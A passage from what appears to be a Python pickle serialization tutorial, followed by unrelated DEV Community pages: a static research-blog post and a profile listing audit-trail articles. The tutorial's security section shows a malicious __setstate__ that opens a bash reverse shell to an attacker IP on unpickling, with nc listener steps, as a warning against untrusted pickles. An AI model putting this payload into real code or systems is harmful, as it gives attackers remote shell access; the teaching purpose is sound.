pickling process began. Protocol Formats of the Python pickle Module As mentioned above, the pickle module is Python-specific, and the result of a pickling process can be read only by another Python program. But even if you’re working with Python, it’s important to know that the pickle module has evolved over time. This means that if you’ve pickled an object with a specific version of Python, then you may not be able to unpickle it with an older version. The compatibility depends on the protocol version that you used for the pickling process. There are currently six different protocols that the Python pickle module can use. The higher the protocol version, the more recent the Python interpreter needs to be for unpickling. Protocol version 0 was the first version. Unlike later protocols, it’s human readable. Protocol version 1 was the first binary format. Protocol version 2 was introduced in Python 2.3. Protocol version 3 was added in Python 3.0. It can’t be unpickled by Python 2.x. Protocol version 4 was added in Python 3.4. It features support for a wider range of object sizes and types and is the default protocol starting with Python 3.8 . Protocol version 5 was added in Python 3.8. It features support for out-of-band data and improved speeds for in-band data. Note: Newer versions of the protocol offer more features and improvements but are limited to higher versions of the interpreter. Be sure to consider this when choosing which protocol to use. To identify the highest protocol that your interpreter supports, you can check the value of the pickle.HIGHEST_PROTOCOL attribute. To choose a specific protocol, you need to specify the protocol version when you invoke load() , loads() , dump() or dumps() . If you don’t specify a protocol, then your interpreter will use the default version specified in the pickle.DEFAULT_PROTOCOL attribute. Remove ads Picklable and Unpicklable Types You’ve already learned that the Python pickle module can serialize many more types than the json module. However, not everything is picklable. The list of unpicklable objects includes database connections, opened network sockets, running threads, and others. If you find yourself faced with an unpicklable object, then there are a couple of things that you can do. The first option is to use a third-party library such as dill . The dill module extends the capabilities of pickle . According to the official documentation , it lets you serialize less common types like functions with yields , nested functions , lambdas , and many others. To test this module, you can try to pickle a lambda function: Python # pickling_error.py import pickle square = lambda x : x * x my_pickle = pickle . dumps ( square ) If you try to run this program, then you will get an exception because the Python pickle module can’t serialize a lambda function: Shell $ python pickling_error.py Traceback (most recent call last): File "pickling_error.py", line 6, in <module> my_pickle = pickle.dumps(square) _pickle.PicklingError: Can't pickle <function <lambda> at 0x10cd52cb0>: attribute lookup <lambda> on __main__ failed Now try replacing the Python pickle module with dill to see if there’s any difference: Python # pickling_dill.py import dill square = lambda x : x * x my_pickle = dill . dumps ( square ) print ( my_pickle ) If you run this code, then you’ll see that the dill module serializes the lambda without returning an error: Shell $ python pickling_dill.py b'\x80\x03cdill._dill\n_create_function\nq\x00(cdill._dill\n_load_type\nq\x01X\x08\x00\x00\x00CodeTypeq\x02\x85q\x03Rq\x04(K\x01K\x00K\x01K\x02KCC\x08|\x00|\x00\x14\x00S\x00q\x05N\x85q\x06)X\x01\x00\x00\x00xq\x07\x85q\x08X\x10\x00\x00\x00pickling_dill.pyq\tX\t\x00\x00\x00squareq\nK\x04C\x00q\x0b))tq\x0cRq\rc__builtin__\n__main__\nh\nNN}q\x0eNtq\x0fRq\x10.' Another interesting feature of dill is that it can even serialize an entire interpreter session. Here’s an example: Python >>> square = lambda x : x * x >>> a = square ( 35 ) >>> import math >>> b = math . sqrt ( 484 ) >>> import dill >>> dill . dump_session ( 'test.pkl' ) >>> exit () In this example, you start the interpreter, import a module, and define a lambda function along with a couple of other variables. You then import the dill module and invoke dump_session() to serialize the entire session. If everything goes okay, then you should get a test.pkl file in your current directory: Shell $ ls test.pkl 4 -rw-r--r--@ 1 dave staff 439 Feb 3 10:52 test.pkl Now you can start a new instance of the interpreter and load the test.pkl file to restore your last session: Python >>> globals () . items () dict_items([('__name__', '__main__'), ('__doc__', None), ('__package__', None), ('__loader__', <class '_frozen_importlib.BuiltinImporter'>), ('__spec__', None), ('__annotations__', {}), ('__builtins__', <module 'builtins' (built-in)>)]) >>> import dill >>> dill . load_session ( 'test.pkl' ) >>> globals () . items () dict_items([('__name__', '__main__'), ('__doc__', None), ('__package__', None), ('__loader__', <class '_frozen_importlib.BuiltinImporter'>), ('__spec__', None), ('__annotations__', {}), ('__builtins__', <module 'builtins' (built-in)>), ('dill', <module 'dill' from '/usr/local/lib/python3.7/site-packages/dill/__init__.py'>), ('square', <function <lambda> at 0x10a013a70>), ('a', 1225), ('math', <module 'math' from '/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/math.cpython-37m-darwin.so'>), ('b', 22.0)]) >>> a 1225 >>> b 22.0 >>> square <function <lambda> at 0x10a013a70> The first globals().items() statement demonstrates that the interpreter is in the initial state. This means that you need to import the dill module and call load_session() to restore your serialized interpreter session. Note: Before you use dill instead of pickle , keep in mind that dill is not included in the standard library of the Python interpreter and is typically slower than pickle . Even though dill lets you serialize a wider range of objects than pickle , it can’t solve every serialization problem that you may have. If you need to serialize an object that contains a database connection, for example, then you’re in for a tough time because it’s an unserializable object even for dill . So, how can you solve this problem? The solution in this case is to exclude the object from the serialization process and to reinitialize the connection after the object is deserialized. You can use __getstate__() to define what should be included in the pickling process. This method allows you to specify what you want to pickle. If you don’t override __getstate__() , then the default instance’s .__dict__ will be used. In the following example, you’ll see how you can define a class with several attributes and exclude one attribute from serialization with __getstate()__ : Python # custom_pickling.py import pickle class foobar : def __init__ ( self ): self . a = 35 self . b = "test" self . c = lambda x : x * x def __getstate__ ( self ): attributes = self . __dict__ . copy () del attributes [ 'c' ] return attributes my_foobar_instance = foobar () my_pickle_string = pickle . dumps ( my_foobar_instance ) my_new_instance = pickle . loads ( my_pickle_string ) print ( my_new_instance . __dict__ ) In this example, you create an object with three attributes. Since one attribute is a lambda , the object is unpicklable with the standard pickle module. To address this issue, you specify what to pickle with __getstate__() . You first clone the entire __dict__ of the instance to have all the attributes defined in the class, and then you manually remove the unpicklable c attribute. If you run this example and then deserialize the object, then you’ll see that the new instance doesn’t contain the c attribute: Shell $ python custom_pickling.py {'a': 35, 'b': 'test'} But what if you wanted to do some additional initializations while unpickling, say by adding the excluded c object back to the deserialized instance? You can accomplish this with __setstate__() : Python # custom_unpickling.py import pickle class foobar : def __init__ ( self ): self . a = 35 self . b = "test" self . c = lambda x : x * x def __getstate__ ( self ): attributes = self . __dict__ . copy () del attributes [ 'c' ] return attributes def __setstate__ ( self , state ): self . __dict__ = state self . c = lambda x : x * x my_foobar_instance = foobar () my_pickle_string = pickle . dumps ( my_foobar_instance ) my_new_instance = pickle . loads ( my_pickle_string ) print ( my_new_instance . __dict__ ) By passing the excluded c object to __setstate__() , you ensure that it appears in the .__dict__ of the unpickled string. Remove ads Compression of Pickled Objects Although the pickle data format is a compact binary representation of an object structure, you can still optimize your pickled string by compressing it with bzip2 or gzip . To compress a pickled string with bzip2 , you can use the bz2 module provided in the standard library. In the following example, you’ll take a string , pickle it, and then compress it using the bz2 library: Python >>> import pickle >>> import bz2 >>> my_string = """Per me si va ne la città dolente, ... per me si va ne l'etterno dolore, ... per me si va tra la perduta gente. ... Giustizia mosse il mio alto fattore: ... fecemi la divina podestate, ... la somma sapienza e 'l primo amore; ... dinanzi a me non fuor cose create ... se non etterne, e io etterno duro. ... Lasciate ogne speranza, voi ch'intrate.""" >>> pickled = pickle . dumps ( my_string ) >>> compressed = bz2 . compress ( pickled ) >>> len ( my_string ) 315 >>> len ( compressed ) 259 When using compression, bear in mind that smaller files come at the cost of a slower process. Security Concerns With the Python pickle Module You now know how to use the pickle module to serialize and deserialize objects in Python. The serialization process is very convenient when you need to save your object’s state to disk or to transmit it over a network. However, there’s one more thing you need to know about the Python pickle module: It’s not secure. Do you remember the discussion of __setstate__() ? Well, that method is great for doing more initialization while unpickling, but it can also be used to execute arbitrary code during the unpickling process! So, what can you do to reduce this risk? Sadly, not much. The rule of thumb is to never unpickle data that comes from an untrusted source or is transmitted over an insecure network . In order to prevent man-in-the-middle attacks , it’s a good idea to use libraries such as hmac to sign the data and ensure it hasn’t been tampered with. The following example illustrates how unpickling a tampered pickle could expose your system to attackers, even giving them a working remote shell: Python # remote.py import pickle import os class foobar : def __init__ ( self ): pass def __getstate__ ( self ): return self . __dict__ def __setstate__ ( self , state ): # The attack is from 192.168.1.10 # The attacker is listening on port 8080 os . system ( '/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.10/8080 0>&1" ') my_foobar = foobar () my_pickle = pickle . dumps ( my_foobar ) my_unpickle = pickle . loads ( my_pickle ) In this example, the unpickling process executes __setstate__() , which executes a Bash command to open a remote shell to the 192.168.1.10 machine on port 8080 . Here’s how you can safely test this script on your Mac or your Linux box. First, open the terminal and use the nc command to listen for a connection to port 8080: Shell $ nc -l 8080 This will be the attacker terminal. If everything works, then the command will seem to hang. Next, open another terminal on the same computer (or on any other computer on the network) and execute the Python code above for unpickling the malicious code. Be sure to change the IP address in the code to your attacking terminal’s IP address. In my example, the attacker’s IP address is 192.168.1.10 . By executing this code, the victim will expose a shell to the attacker: Shell $ python remote.py If everything works, a Bash shell will appear on the attacking console. This console can now operate directly on the attacked system: Shell $ nc -l 8080 bash: no job control in this shell The default interactive shell is now zsh. To update your account to use zsh, please run `chsh -s /bin/zsh`. For more details, please visit https://support.apple.com/kb/HT208050. bash-3.2$ So, let me repeat this critical point once again: Do not use the pickle module to deserialize objects from untrusted sources! Remove ads Conclusion You now know how to use the Python pickle module to convert an object hierarchy to a stream of bytes that can be saved to a disk or transmitted over a network. You also know that the deserialization process in Python must be used with care since unpickling something that comes from an untrusted source can be extremely dangerous. In this tutorial, you’ve learned: What it means to serialize and deserialize an object Which modules you can use to serialize objects in Python Which kinds of objects can be serialized with the Python pickle module How to use the Python pickle module to serialize object hierarchies What the risks are of unpickling from an untrusted source With this knowledge, you’re well equipped to persist your objects using the Python pickle module. As an added bonus, you’re ready to explain the dangers of deserializing malicious pickles to your friends and coworkers. If you have any questions, then leave a comment down below or contact me on Twitter ! Mark as Completed Share Watch Now This tutorial has a related video course created by the Real Python team. Watch it together with the written tutorial to deepen your understanding: Serializing Objects With the Python pickle Module 🐍 Python Tricks 💌 Get a short & sweet Python Trick delivered to your inbox every couple of days. No spam ever. Unsubscribe any time. Curated by the Real Python team. Send Me Python Tricks » About Davide Mastromatteo Developer and editor of “the Python Corner". Blood donor, Apple user, Python and Swift addicted. NFL, Rugby and Chess lover. Constantly hungry and foolish. » More about Davide Each tutorial at Real Python is created by a team of developers so that it meets our high quality standards. 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https://dev.to/quochuydev/how-i-built-a-zero-dependency-technical-research-blog-with-just-html-css-and-markdown-kc2 | How I Built a Zero-Dependency Technical Research Blog with Just HTML, CSS, and Markdown - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Huy Pham Posted on Jan 13 How I Built a Zero-Dependency Technical Research Blog with Just HTML, CSS, and Markdown # news # research # technical # claudecode Ever find yourself drowning in bookmarks, scattered notes, and half-finished documentation about technologies you're researching? I did too—until I built something simpler. The Problem Technical notes scattered across Notion, Google Docs, and random markdown files No central place to organize research on new technologies and platforms Setting up a blog feels like overkill—why do I need a database for markdown? Want to share knowledge but don't want to maintain complex infrastructure Diagrams and code examples should just work without plugins The Solution: Tech Research A static blog that turns a folder of markdown files into a searchable knowledge base—deployed free on GitHub Pages with zero dependencies. # Add an article, run the script, push. Done. echo "# My Research" > researching/new-topic.md ./update-manifest.sh git push Enter fullscreen mode Exit fullscreen mode Your research is live in seconds, not hours. How It Works Write in Markdown - Create .md files in the researching/ directory with GitHub-flavored syntax Run the Manifest Script - ./update-manifest.sh scans your articles and builds the index Push to GitHub - GitHub Actions automatically deploys to GitHub Pages Browse and Search - The SPA loads your manifest and renders articles on demand No build step. No Node.js. No framework churn. Get Started in 30 Seconds git clone https://github.com/quochuydev/tech-research.git cd tech-research python -m http.server 8000 # or: npx serve . Enter fullscreen mode Exit fullscreen mode This gives you: index.html - The single-page application that renders everything researching/ - Drop your markdown articles here update-manifest.sh - Regenerates the article index manifest.json - Searchable registry of all your content Topics You Can Research Category Examples Use Case Blockchain Bitcoin, Solana, BSC Crypto research and earning ideas AI Tools Claude Code, Moondream Evaluating AI platforms DevOps Dokploy, OAuth2-proxy, Zitadel Self-hosting infrastructure Architecture C4 Model, ADRs System design documentation Automation n8n, LiveKit Workflow and real-time tools Why This Works Zero Dependencies - Pure HTML/CSS/JS means nothing breaks when packages update Mermaid Diagrams Built-in - Architecture diagrams render without extra tooling GitHub Pages = Free Hosting - Push and forget, GitHub handles SSL and CDN Markdown First - Write naturally, let the SPA handle rendering Version Controlled Knowledge - Your research history lives in git commits Try It Fork the repo and start documenting your own tech research: git clone https://github.com/quochuydev/tech-research.git cd tech-research # Create your first article echo "--- title: My First Research category: Learning --- # Topic Overview Your research goes here..." > researching/my-topic-overview.md ./update-manifest.sh Enter fullscreen mode Exit fullscreen mode Open index.html in your browser—your article is already there. Website : https://quochuydev.github.io/tech-research/ What's the most disorganized part of your technical learning process? I'd love to hear what topics you'd document first. Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Huy Pham Follow Joined Nov 16, 2021 More from Huy Pham How I Built a Documentation-Driven Development Workflow with Claude Code # workflow # claudecode # claude # github 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . 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https://dev.to/veritaschain | VeritasChain Standards Organization (VSO) - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Follow User actions VeritasChain Standards Organization (VSO) Developing global cryptographic standards for algorithmic & AI-driven trading. Maintainer of VeritasChain Protocol (VCP) — a tamper-evident audit layer designed for MiFID II, EU AI Act, and next-gener Location Tokyo, Japan Joined Joined on Dec 7, 2025 Personal website https://veritaschain.org/ More info about @veritaschain Badges Writing Debut Awarded for writing and sharing your first DEV post! Continue sharing your work to earn the 4 Week Writing Streak Badge. Got it Close Post 48 posts published Comment 0 comments written Tag 4 tags followed Proving What AI Didn't Generate: A Cryptographic Solution to the Grok Crisis VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 13 Proving What AI Didn't Generate: A Cryptographic Solution to the Grok Crisis # ai # security # opensource # cryptography Comments Add Comment 8 min read Building Tamper-Proof Audit Trails: A Deep Dive into Cryptographic Evidence for Trading Disputes VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 12 Building Tamper-Proof Audit Trails: A Deep Dive into Cryptographic Evidence for Trading Disputes # python # veritaschain # vcp # propfirm Comments Add Comment 9 min read Building Tamper-Proof Audit Trails: How VCP v1.1's Three-Layer Architecture Addresses €150M in Regulatory Failures VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 12 Building Tamper-Proof Audit Trails: How VCP v1.1's Three-Layer Architecture Addresses €150M in Regulatory Failures # fintech # python # security # veritaschain 1 reaction Comments Add Comment 15 min read Building Cryptographic Audit Trails for AI Trading Systems: A Deep Dive into RFC 6962-Based Verification VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 11 Building Cryptographic Audit Trails for AI Trading Systems: A Deep Dive into RFC 6962-Based Verification # ai # regtech Comments Add Comment 15 min read The Grok Scandal Proves AI Needs Cryptographic Audit Trails—Not Just Content Moderation VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 10 The Grok Scandal Proves AI Needs Cryptographic Audit Trails—Not Just Content Moderation # ai # security # opensource Comments Add Comment 4 min read Why Your Trading Algorithm Needs a Flight Recorder: Lessons from the 2025 Market Chaos VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 10 Why Your Trading Algorithm Needs a Flight Recorder: Lessons from the 2025 Market Chaos # fintech # cryptography # security # algorithms Comments Add Comment 14 min read Building the World's First Edge-Deployed Cryptographic Audit Trail for Algorithmic Trading VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 10 Building the World's First Edge-Deployed Cryptographic Audit Trail for Algorithmic Trading # cloudflarechallenge # security # fintech # opensource Comments Add Comment 5 min read Building the Verification Layer: A Developer's Guide to Cryptographic AI Provenance VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 8 Building the Verification Layer: A Developer's Guide to Cryptographic AI Provenance # cryptographic # vap # veritaschain # protocol Comments Add Comment 9 min read Why Detection Lost: Building Cryptographic Provenance for the Synthetic Media Crisis VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 7 Why Detection Lost: Building Cryptographic Provenance for the Synthetic Media Crisis # security # ai # opensource Comments Add Comment 10 min read When "Trust Me" Fails: How Cryptographic Audit Trails Could Have Prevented 2025's Biggest Trading Scandals VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 7 When "Trust Me" Fails: How Cryptographic Audit Trails Could Have Prevented 2025's Biggest Trading Scandals # vcp # veritaschain Comments Add Comment 15 min read Building "AI's Flight Recorder" for Algorithmic Trading: A Deep Dive into VCP-IBKR Reference Implementation VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 7 Building "AI's Flight Recorder" for Algorithmic Trading: A Deep Dive into VCP-IBKR Reference Implementation # fintech # ibkr # vcp # veritaschain Comments Add Comment 11 min read We Open-Sourced a Cryptographic Audit Trail for FIX Trading — Here's How to Verify It VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 6 We Open-Sourced a Cryptographic Audit Trail for FIX Trading — Here's How to Verify It # fix # fintech # opensource Comments Add Comment 5 min read Building a Cryptographic Audit Trail for Financial Compliance: From Hash Chains to Multi-Regulation Coverage VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 6 Building a Cryptographic Audit Trail for Financial Compliance: From Hash Chains to Multi-Regulation Coverage # fintech # regtec Comments Add Comment 18 min read Building AI's Flight Recorder: How VCP v1.1 Addresses EU's Converging Regulatory Frameworks for Algorithmic Trading VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 4 Building AI's Flight Recorder: How VCP v1.1 Addresses EU's Converging Regulatory Frameworks for Algorithmic Trading # fintech # vcp # veritaschain Comments Add Comment 13 min read Noah's Ark for Algorithmic Trading: Why VCP v1.1 Requires a Three-Layer Architecture VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 4 Noah's Ark for Algorithmic Trading: Why VCP v1.1 Requires a Three-Layer Architecture # ai # vcp # veritaschain # protocol Comments Add Comment 6 min read Building Tamper-Proof Audit Trails: What Three 2025 Trading Disasters Teach Us About Cryptographic Logging VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 4 Building Tamper-Proof Audit Trails: What Three 2025 Trading Disasters Teach Us About Cryptographic Logging # fintech # vcp # veritaschain Comments Add Comment 12 min read DVP: Building the AI Flight Recorder for Autonomous Vehicles—A Technical Deep Dive into VCP v1.1 Applied to Automotive Safety VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 4 DVP: Building the AI Flight Recorder for Autonomous Vehicles—A Technical Deep Dive into VCP v1.1 Applied to Automotive Safety # autonomousvehicles # ai # security Comments Add Comment 17 min read Provably Fair Gaming: Building Cryptographic RNG Verification with VAP-GAM VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 3 Provably Fair Gaming: Building Cryptographic RNG Verification with VAP-GAM # gamedev # python # typescript Comments Add Comment 13 min read Building Tamper-Evident Audit Trails for Hiring AI: A Technical Deep Dive into VAP-PAP VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 3 Building Tamper-Evident Audit Trails for Hiring AI: A Technical Deep Dive into VAP-PAP # ai # python Comments Add Comment 6 min read VCP v1.1: Building Tamper-Proof Audit Trails for Algorithmic Trading Systems VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 3 VCP v1.1: Building Tamper-Proof Audit Trails for Algorithmic Trading Systems # ai # vcp # veritaschain Comments Add Comment 7 min read Building Cryptographic Audit Trails for cTrader cBots - A Sidecar Approach VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 2 Building Cryptographic Audit Trails for cTrader cBots - A Sidecar Approach # ctrader # csharp Comments Add Comment 5 min read DVP: Why Autonomous Vehicles Need an AI Flight Recorder VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 2 DVP: Why Autonomous Vehicles Need an AI Flight Recorder # ai # automation # opensource Comments Add Comment 7 min read Building Tamper-Proof Audit Trails for Algorithmic Trading with VCP v1.1 VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 2 Building Tamper-Proof Audit Trails for Algorithmic Trading with VCP v1.1 # python # fintech # opensource Comments Add Comment 8 min read Introducing VCC Demo: A Browser-Based Cryptographic Audit Trail You Can Try Right Now VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 2 Introducing VCC Demo: A Browser-Based Cryptographic Audit Trail You Can Try Right Now # javascript # react # blockchain # fintech Comments Add Comment 4 min read VCP v1.1 Implementation Guide Released: Building Cryptographic Audit Trails for Trading Systems VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 1 VCP v1.1 Implementation Guide Released: Building Cryptographic Audit Trails for Trading Systems # ai # fintech # security # opensource Comments Add Comment 4 min read Building Tamper-Evident Audit Trails for AI Trading Systems: A Deep Dive into VCP v1.1 VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 1 Building Tamper-Evident Audit Trails for AI Trading Systems: A Deep Dive into VCP v1.1 # python # fintech # ai Comments Add Comment 9 min read Building Tamper-Evident Audit Trails for Trading Systems: A VCP v1.1 Implementation Guide VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Jan 1 Building Tamper-Evident Audit Trails for Trading Systems: A VCP v1.1 Implementation Guide # ai # fintech # blockchain Comments Add Comment 10 min read Implementing VCP v1.1: Cryptographically Verifiable AI Trading Logs for MetaTrader 5 VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 31 '25 Implementing VCP v1.1: Cryptographically Verifiable AI Trading Logs for MetaTrader 5 # python # mt5 # fintech Comments Add Comment 7 min read Building Tamper-Evident Audit Trails for Algorithmic Trading: A Developer's Guide VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 30 '25 Building Tamper-Evident Audit Trails for Algorithmic Trading: A Developer's Guide # python # fintech # cryptography Comments Add Comment 8 min read VeritasChain Completes VCP v1.0 Proof of Concept VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 29 '25 VeritasChain Completes VCP v1.0 Proof of Concept # opensource # blockchain # python # fintech 1 reaction Comments Add Comment 5 min read Building Tamper-Evident Audit Trails for Algorithmic Trading: A Deep Dive into Hash Chains and Merkle Trees VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 28 '25 Building Tamper-Evident Audit Trails for Algorithmic Trading: A Deep Dive into Hash Chains and Merkle Trees # eu # ai Comments Add Comment 9 min read Building a Tamper-Evident Audit Log with SHA-256 Hash Chains (Zero Dependencies) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 28 '25 Building a Tamper-Evident Audit Log with SHA-256 Hash Chains (Zero Dependencies) # javascript # cryptography # security Comments Add Comment 7 min read Building Tamper-Proof Audit Trails for AI Content Pipelines: A Practical Guide to CAP VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 27 '25 Building Tamper-Proof Audit Trails for AI Content Pipelines: A Practical Guide to CAP # ai # security # opensource # tutorial Comments Add Comment 6 min read Building the World's First Cryptographic Audit Trail for MetaTrader: A Deep Technical Dive VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 27 '25 Building the World's First Cryptographic Audit Trail for MetaTrader: A Deep Technical Dive # mt5 # mt4 # cryptocurrency # ai Comments Add Comment 15 min read MiFID II/III and VeritasChain Protocol: The Future of Cryptographic Audit Trails in Algorithmic Trading VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 25 '25 MiFID II/III and VeritasChain Protocol: The Future of Cryptographic Audit Trails in Algorithmic Trading # ai # cryptographic # audit Comments Add Comment 19 min read The EU AI Act Doesn't Mandate Cryptographic Logs—But You'll Want Them Anyway VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 25 '25 The EU AI Act Doesn't Mandate Cryptographic Logs—But You'll Want Them Anyway # ai # cryptography # blockchain Comments Add Comment 8 min read Building Cryptographic Audit Trails for SEC Rule 17a-4: A Technical Deep Dive VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 24 '25 Building Cryptographic Audit Trails for SEC Rule 17a-4: A Technical Deep Dive # security # fintech # python # cryptography Comments Add Comment 9 min read Adding Cryptographic Audit Trails to FIX Without Touching Your Trading Engine VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 22 '25 Adding Cryptographic Audit Trails to FIX Without Touching Your Trading Engine # fix # cryptocurrency # fintech # ai Comments Add Comment 4 min read Your Audit Logs Are Lying to You: 6 Properties That Make Logs Actually Verifiable VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 22 '25 Your Audit Logs Are Lying to You: 6 Properties That Make Logs Actually Verifiable # security # architecture # systemdesign # observability Comments Add Comment 6 min read IAP-FIN: Building AI Audit Trails That Actually Satisfy Financial Regulators VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 18 '25 IAP-FIN: Building AI Audit Trails That Actually Satisfy Financial Regulators # fintech # ai # security Comments Add Comment 10 min read DVP: Why Your Self-Driving Car Needs an AI Flight Recorder VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 18 '25 DVP: Why Your Self-Driving Car Needs an AI Flight Recorder # autonomous # ai # security # automotive Comments Add Comment 9 min read VAP: A Universal Framework for AI Flight Recorders VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 18 '25 VAP: A Universal Framework for AI Flight Recorders # ai # security # opensource # cryptocurrency Comments Add Comment 6 min read Ed25519 + Merkle Tree + UUIDv7 = Building Tamper-Proof Decision Logs VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 13 '25 Ed25519 + Merkle Tree + UUIDv7 = Building Tamper-Proof Decision Logs # blockchain # security # architecture # python Comments Add Comment 9 min read AI Needs a Flight Recorder: Introducing VeritasChain Protocol (VCP) v1.0 VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) VeritasChain Standards Organization (VSO) Follow Dec 11 '25 AI Needs a Flight Recorder: Introducing VeritasChain 